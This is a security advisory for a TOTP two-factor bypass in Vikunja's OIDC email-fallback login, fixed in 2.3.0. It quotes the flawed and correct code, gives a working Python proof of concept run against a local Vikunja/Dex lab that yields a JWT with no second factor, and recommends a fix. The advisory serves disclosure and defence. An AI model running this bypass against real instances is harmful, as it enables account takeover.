Vulnerability from cvelistv5 – Published: 2026-04-10 15:45 – Updated: 2026-04-13 15:37

Title

Vikunja ahs a TOTP Two-Factor Authentication Bypass via OIDC Login Path

Summary

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. This vulnerability is fixed in 2.3.0.

Severity

7.4 (High)

Vulnerability from github – Published: 2026-04-10 15:30 – Updated: 2026-07-21 13:49

Summary

Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path

Details

Summary

The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.

Details

The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:

return auth.NewUserAuthTokenResponse(u, c, false)

There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:

totpEnabled, err := user2.TOTPEnabledForUser(s, user)
if totpEnabled {
    if u.TOTPPasscode == "" {
        _ = s.Rollback()
        return user2.ErrInvalidTOTPPasscode{}
    }
    _, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{
        User:     user,
        Passcode: u.TOTPPasscode,
    })

When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.

Proof of Concept

Tested on Vikunja v2.2.2 with Dex as the OIDC provider.

Setup: - Vikunja configured with emailfallback: true for Dex - Local user alice (id=1) has TOTP enabled

import requests, re, html
from urllib.parse import parse_qs, urlparse

TARGET = "http://localhost:3456"
DEX = "http://localhost:5556"
API = f"{TARGET}/api/v1"

# verify TOTP is required for local login
r = requests.post(f"{API}/login",
    json={"username": "alice", "password": "Alice1234!"})
print(f"Local login without TOTP: {r.status_code} code={r.json().get('code')}")
# Output: 412 code=1017 (TOTP required)

# login via OIDC (same flow as VIK-020 PoC)
s = requests.Session()
r = s.get(f"{DEX}/dex/auth?client_id=vikunja"
          f"&redirect_uri={TARGET}/auth/openid/dex"
          f"&response_type=code&scope=openid+profile+email&state=x")
action = html.unescape(re.search(r'action="([^"]*)"', r.text).group(1))
if not action.startswith("http"): action = DEX + action
r = s.post(action, data={"login": "alice@test.com", "password": "password"},
           allow_redirects=False)
approval_url = DEX + r.headers["Location"]
r = s.get(approval_url)
req = re.search(r'name="req" value="([^"]*)"', r.text).group(1)
r = s.post(approval_url, data={"req": req, "approval": "approve"},
           allow_redirects=False)
code = parse_qs(urlparse(r.headers["Location"]).query)["code"][0]

resp = requests.post(f"{API}/auth/openid/dex/callback",
    json={"code": code, "redirect_url": f"{TARGET}/auth/openid/dex"})
print(f"OIDC login: {resp.status_code}")

user = requests.get(f"{API}/user",
    headers={"Authorization": f"Bearer {resp.json()['token']}"}).json()
print(f"User: id={user['id']} username={user['username']}")
# TOTP was completely bypassed

Output:

Local login without TOTP: 412 code=1017
OIDC login: 200
User: id=1 username=alice

Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.

Impact

When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.

This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing email_verified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.

Recommended Fix

Add a TOTP check in the OIDC callback before issuing the JWT:

totpEnabled, err := user.TOTPEnabledForUser(s, u)
if err != nil {
    _ = s.Rollback()
    return err
}
if totpEnabled {
    _ = s.Rollback()
    return echo.NewHTTPError(http.StatusForbidden,
        "TOTP verification required. Please use the local login endpoint.")
}
return auth.NewUserAuthTokenResponse(u, c, false)

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
